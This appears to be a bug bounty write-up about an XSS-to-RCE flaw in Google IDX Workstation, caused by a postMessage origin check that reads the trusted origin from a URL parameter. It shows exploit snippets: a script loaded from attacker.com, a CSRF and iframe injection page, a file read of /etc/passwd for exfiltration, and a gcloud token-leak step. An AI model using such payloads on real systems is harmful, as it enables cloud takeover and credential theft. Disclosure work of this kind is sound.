XSS to RCE in Google IDX Workstation: A Technical Deep Dive $22,500 Bounty Earned 💰

XSS to RCE in Google IDX Workstation: A Technical Deep Dive $22,500 Bounty Earned 💰

10 September 2025

XSS to RCE in Google IDX Workstation: A Technical Deep Dive

Hey there, I’m someone who loves digging into security vulnerabilities like this. Cloud-based development environments like Google’s Project IDX (now integrated into Firebase Studio) make life easier for developers, but they also come with some intriguing security risks. Discovered in September 2025, this XSS vulnerability escalates to Remote Code Execution (RCE), potentially leaking Google Cloud Platform (GCP) tokens. Let’s dive into the technical details together, examining code snippets and how the exploit works. I’ll keep it natural, like we’re chatting over coffee, but with solid technical depth.

The Basics of IDX Workstation

First off, a quick rundown on what IDX Workstation is. It’s a browser-based cloud IDE built on the open-source version of Visual Studio Code (Code OSS). It runs on subdomains like *.cloudworkstations.dev or *.cloudworkstations.googleusercontent.com. Features include code editing, terminal access, extensions from the Open VSX Registry, web previews, and even Android emulators. From a security standpoint, iframe and web worker communications are key, relying on things like the postMessage API. If origin validation is weak, things can go south quickly.

The Root Cause: Weakness in the postMessage Handler

The heart of the vulnerability is in the webWorkerExtensionHostIframe.html file. This iframe manages web worker extension hosts and loads on the same origin as the main UI, making same-origin policy (SOP) breaches possible if not secured properly.

Here’s the vulnerable code snippet:

const parentOrigin = searchParams.get('parentOrigin') || window.origin;
self.onmessage = (event) => {
  if (event.origin !== parentOrigin) return;
  worker.postMessage(event.data, event.ports);
}

Let’s break this down line by line, as this is where it all starts.

  • const parentOrigin = searchParams.get(‘parentOrigin’) || window.origin;
    This is the problematic part. The parentOrigin value comes from URL query parameters (e.g., ?parentOrigin=malicious.com). If missing, it defaults to window.origin. Why is this bad? It’s user-controllable – an attacker can manipulate the URL to insert their own domain, bypassing restrictions. In a secure design, origins should be hardcoded or whitelisted, not pulled from untrusted sources like query params. This goes against the principle of least privilege.

  • self.onmessage = (event) => {
    A simple message listener, catching events from the parent window.

  • if (event.origin !== parentOrigin) return;
    It checks if the message’s origin matches parentOrigin. If not, it drops the message. But since parentOrigin is manipulable, this check is useless. An attacker can set it to their exploit domain and slip messages through. A better approach would use a fixed whitelist: if (event.origin !== 'https://trusted.google.domain'). It also misses edge cases like sandboxed iframes or null origins.

  • worker.postMessage(event.data, event.ports);
    Forwards the message to the worker. This is key because binary data (like ArrayBuffers) gets hex-encoded and passed along. This allows XSS payloads to inject into the worker context. Once injected, the code runs with the workstation’s privileges – file system access, terminal commands, you name it.

This flaw reminds me of similar issues in GitLab’s Web IDE, where poor iframe isolation turns XSS into RCE.

The Exploit Chain: Step by Step

To exploit this, you need the victim’s subdomain – often leaked via Referer headers or DNS queries. The chain combines XSS, CSRF, and postMessage manipulation. Let’s walk through it with code examples.

  1. Subdomain Discovery:
    The victim shares a preview link: 9000-[victim-subdomain].cloudworkstations.dev. The attacker strips the 9000- prefix to get the base subdomain.

  2. Attacker Setup:
    The attacker creates their own workstation and notes the subdomain.

  3. Payload Preparation:
    • script1.js: The main RCE payload. Example:
      const fs = require('fs'); // Assuming Node-like access in the worker
      fs.readFile('/etc/passwd', (err, data) => {
        if (err) throw err;
        console.log(data.toString()); // Exfiltrate to the attacker
      });
      
    • script2.js: References script1.js.
      const script = document.createElement('script');
      script.src = 'https://attacker.com/script1.js'; // Victim domain variant
      document.body.appendChild(script);
      
    • xss.ipynb: A Jupyter notebook referencing script2.js (exploits notebook rendering for injection).
  4. Uploading and Hosting:
    Upload xss.ipynb to the attacker’s workstation. Host exploit.html (e.g., via ngrok):
    <!DOCTYPE html>
    <html>
    <body>
    <script>
      const victimDomain = '[victim-subdomain].cloudworkstations.dev';
      const attackerDomain = '[attacker-subdomain].cloudworkstations.googleusercontent.com';
      // CSRF to log into attacker's workstation
      fetch(`${attackerDomain}/login`, { method: 'POST', credentials: 'include' });
      // Iframe and postMessage injection
      const iframe = document.createElement('iframe');
      iframe.src = `${victimDomain}/?parentOrigin=${window.origin}`;
      document.body.appendChild(iframe);
      iframe.onload = () => {
        iframe.contentWindow.postMessage({ malicious: 'payload' }, '*');
      };
    </script>
    </body>
    </html>
    
  5. Victim Interaction:
    The victim clicks the exploit.html link. It triggers CSRF login, loads the iframe, and injects the payload via postMessage.

  6. Achieving RCE:
    The injected JS accesses the file system – for example, running gcloud auth print-access-token to leak tokens. Data gets exfiltrated to the attacker’s server.

This chain shows how a client-side flaw can lead to server-side dominance in cloud IDEs.

Impacts and Risks

  • RCE: Full control over the victim’s cloud instance – running commands, manipulating files.
  • Token Leakage: GCP tokens (with cloud-platform scope) grant access to services like Compute Engine and Storage.
  • Lateral Movement: In team settings, compromising one workstation could spread to others.

Patch and Mitigations

Google patched it by moving the iframe to a separate origin, strengthening cross-origin barriers. At the code level, fixes could look like this:

const ALLOWED_ORIGINS = ['https://*.cloudworkstations.googleusercontent.com'];
if (!ALLOWED_ORIGINS.includes(event.origin)) return;

Also, add sandbox="allow-scripts" to iframes, apply CSP: script-src 'self'; frame-ancestors 'none';. Broader tips: Encrypt DNS, use Referrer-Policy: no-referrer, and monitor subdomains.

Final Thoughts

Vulnerabilities like this highlight the double-edged sword of web-based IDEs – convenience meets risk when client-side security ties directly to cloud resources. Always prioritize origin validation in APIs like postMessage. Programs like Google’s VRP keep researchers motivated to find these. If you’re tinkering with similar stuff, stay vigilant – a small parameter can lead to big trouble. Thanks for reading; if you have questions or thoughts, drop them in the comments below!

Video Demonstration

For a visual walkthrough of the exploit, check out this demo video from the original disclosure:

Tweet video